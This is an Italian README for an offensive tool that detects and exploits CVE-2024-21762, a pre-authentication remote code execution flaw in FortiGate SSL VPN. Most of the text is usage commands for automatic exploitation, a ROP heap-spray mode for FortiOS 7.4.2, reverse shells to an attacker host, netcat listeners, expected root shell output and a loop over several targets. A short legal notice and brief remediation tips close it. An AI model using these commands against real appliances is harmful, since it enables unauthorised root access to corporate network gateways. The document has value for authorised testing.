
Rileva e sfrutta CVE-2024-21762 RCE pre-autenticazione in FortiGate SSL VPN, con validazione di base, sfruttamento automatico, modalità ROP heap-spray e reverse shell.
Strumento di rilevamento ed exploit per CVE-2024-21762 - Vulnerabilità critica in FortiGate SSL VPN
⚠️ AVVISO LEGALE: Questo strumento è esclusivamente per uso in ambienti di test autorizzati. L'uso non autorizzato su sistemi è ILLEGALE e può comportare serie conseguenze legali.
CVE-2024-21762 è una vulnerabilità critica nei componenti FortiGate SSL VPN che consente Remote Code Execution (RCE) pre-autenticazione. Il difetto risiede in un parsing vulnerabile di richieste HTTP con Transfer-Encoding chunked, causando una scrittura out-of-bounds nel componente sslvpnd.
| Attributo | Informazione |
|---|---|
| CVE ID | CVE-2024-21762 |
| Vulnerabilità | Scrittura out-of-bounds in sslvpnd |
| Tipo | Remote Code Execution (RCE) Pre-Autenticazione |
| CVSS Score | 9.8 (Critical) |
| Componente Interessato | FortiOS SSL VPN |
| Versioni Vulnerabili | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ Rilevamento della Vulnerabilità - Identifica FortiGate vulnerabili tramite richieste malformate
✅ Test di Baseline - Verifica il comportamento normale del server prima dei test
✅ Modalità Automatica - Rileva e sfrutta automaticamente la vulnerabilità
✅ Reverse Shell - Supporta reverse shell bash con configurazione IP/porta
✅ Validazione dell'Input - Valida IP e porte prima dell'exploit
✅ Rapporti Dettagliati - Genera rapporti con raccomandazioni di remediation
✅ Gestione Robusta degli Errori - Gestione sicura delle connessioni e delle eccezioni
# Clona il repository
git clone https://github.com/seu-usuario/CVE-2024-21762.git
cd CVE-2024-21762
# Verifica la sintassi
python -m py_compile EXPLOIT.py
# Esegui lo script
python EXPLOIT.py -h
# Test semplice di rilevamento
python EXPLOIT.py 192.168.1.100
# Con porta personalizzata
python EXPLOIT.py 192.168.1.100 -p 8443
# Con timeout aumentato
python EXPLOIT.py 192.168.1.100 --timeout 20
# Modalità automatica con reverse shell preconfigurato
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Modalità automatica senza credenziali (richiede interattivamente)
python EXPLOIT.py 192.168.1.100 --auto
La modalità ROP implementa un exploit a due stadi con heap spray per target specifici (FortiOS 7.4.2):
# Exploit ROP con reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# Con porta personalizzata
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# Con timeout aumentato per target lenti
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
Flusso dell'Exploit ROP:
Sul tuo server di ascolto:
# Linux/Mac/Windows con netcat
nc -lnvp 4242
# Output previsto:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ Nota Importante: La modalità ROP è ottimizzata per FortiOS 7.4.2.F-build2571. Altre versioni potrebbero non funzionare a causa degli offset hardcoded della catena ROP.
# Inviare payload di reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Combinazione di più opzioni
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target Target hostname o IP da testare
optional arguments:
-h, --help Mostra questo messaggio di aiuto
-t, --target HOSTNAME Target hostname o IP (alternativo)
-p, --port PORT Porta SSL VPN (predefinita: 443)
--timeout SECONDS Timeout in secondi (predefinito: 10)
-li, --lhost IP IP locale per ricevere reverse shell
-lp, --lport PORT Porta locale per ricevere reverse shell
--no-baseline Salta il test di baseline
--auto Modalità automatica: rileva e sfrutta
--rop Modalità ROP: exploit avanzato con heap spray (FortiOS 7.4.2)
-v, --version Mostra la versione dello script
python EXPLOIT.py 192.168.1.100
Risultato atteso in caso di vulnerabilità:
[+] Iniciando teste de vulnerabilidade...
[!] VULNERÁVEL DETECTADO!
[!] Servidor encerrou conexão abruptamente
[!] STATUS: VULNERÁVEL
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
Sul tuo server:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
Lo strumento considera un target vulnerabile quando rileva uno dei seguenti comportamenti:
| Versione | Rilevamento | Modalità ROP | Stato |
|---|---|---|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ Sì | ❌ No | ⚠️ VULNERABILE |
| FortiOS 7.2.0 - 7.2.6 | ✅ Sì | ❌ No | ⚠️ VULNERABILE |
| FortiOS 7.4.0 - 7.4.1 | ✅ Sì | ❌ No | ⚠️ VULNERABILE |
| FortiOS 7.4.2 (build≤2571) | ✅ Sì | ✅ Sì | ⚠️ VULNERABILE |
| FortiOS 7.4.3+ | ❌ No | ❌ No | ✅ CORRETTO |
Aggiornare FortiOS alla versione corretta:
Isolamento Temporaneo
Monitoraggio
# Verificare la versione di FortiOS
python EXPLOIT.py tuo-fortinet.com
Se il risultato mostra 'NON VULNERABILE', la patch è stata applicata con successo.